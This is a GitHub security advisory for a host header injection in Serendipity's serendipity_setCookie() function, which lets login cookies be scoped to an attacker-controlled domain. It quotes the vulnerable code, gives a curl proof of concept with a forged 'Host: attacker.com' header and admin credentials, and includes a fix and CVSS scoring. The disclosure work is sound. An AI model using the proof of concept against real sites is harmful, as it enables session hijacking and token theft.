Host Header Injection allows authentication cookie scoping to attacker-controlled domain in functions_config.inc.php

Moderate **onli** published **GHSA-4m6c-649p-f6gf** yesterday

Package

php **s9y/serendipity** (Composer)

Affected versions	Patched versions
<= 2.6-beta2	2.6.0

Description

Summary

The `serendipity_setCookie()` function uses `$_SERVER['HTTP_HOST']` without validation as the `domain` parameter of `setcookie()`. An attacker can force authentication cookies — including session tokens and auto-login tokens — to be scoped to an attacker-controlled domain, facilitating session hijacking.

Details

In `include/functions_config.inc.php:726`:

```
function serendipity_setCookie($name, $value, $securebyprot = true, ...) {
    $host = $_SERVER['HTTP_HOST']; // ← attacker-controlled, no validation

    if ($securebyprot) {
        if ($pos = strpos($host, ":")) {
            $host = substr($host, 0, $pos); // strips port only
        }
    }

    setcookie("serendipity[$name]", $value, [
        'domain'   => $host,   // ← poisoned domain
```

```
        'httponly' => $httpOnly,
        'samesite' => 'Strict'
    ]);
}
```

This function is called during login with sensitive cookies:

```
// functions_config.inc.php:455-498
serendipity_setCookie('author_autologintoken', $rnd, true, false, true);
serendipity_setCookie('author_username', $user);
serendipity_setCookie('author_token', $hash);
```

If an attacker can influence the `Host` header at login time (e.g. via MITM, reverse proxy misconfiguration, or load balancer), authentication cookies are issued scoped to the attacker's domain instead of the legitimate one.

PoC

```
curl -v -X POST \
  -H "Host: attacker.com" \
  -d "serendipity[user]=admin&serendipity[pass]=admin" \
  http://[TARGET]/serendipity_admin.php 2>&1 | grep -i "set-cookie"
```

Expected output:

```
Set-Cookie: serendipity[author_token]=; domain=attacker.com; HttpOnly
```

Impact

- **Session fixation** — attacker pre-sets a cookie scoped to their domain, then tricks the victim into authenticating, inheriting the poisoned token
- **Token leakage** — `author_autologintoken` scoped to wrong domain may be sent to attacker-controlled infrastructure
- **Privilege escalation** — if admin logs in under a poisoned Host header, their admin token is compromised

Suggested Fix

Validate `HTTP_HOST` against the configured `$serendipity['url']` before use:

```
function serendipity_setCookie($name, $value, ...) {
    global $serendipity;
    $configured = parse_url($serendipity['url'], PHP_URL_HOST);
    $host = preg_replace('/:[0-9]+$/', '', $_SERVER['HTTP_HOST']);
```

```
    $host = ($host === $configured) ? $host : $configured;

    setcookie("serendipity[$name]", $value, [
        'domain' => $host,
        ...
    ]);
}
```

Severity

Moderate 6.9 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-39963

Weaknesses

▶ CWE-565

Credits

 **mabjr33** Reporter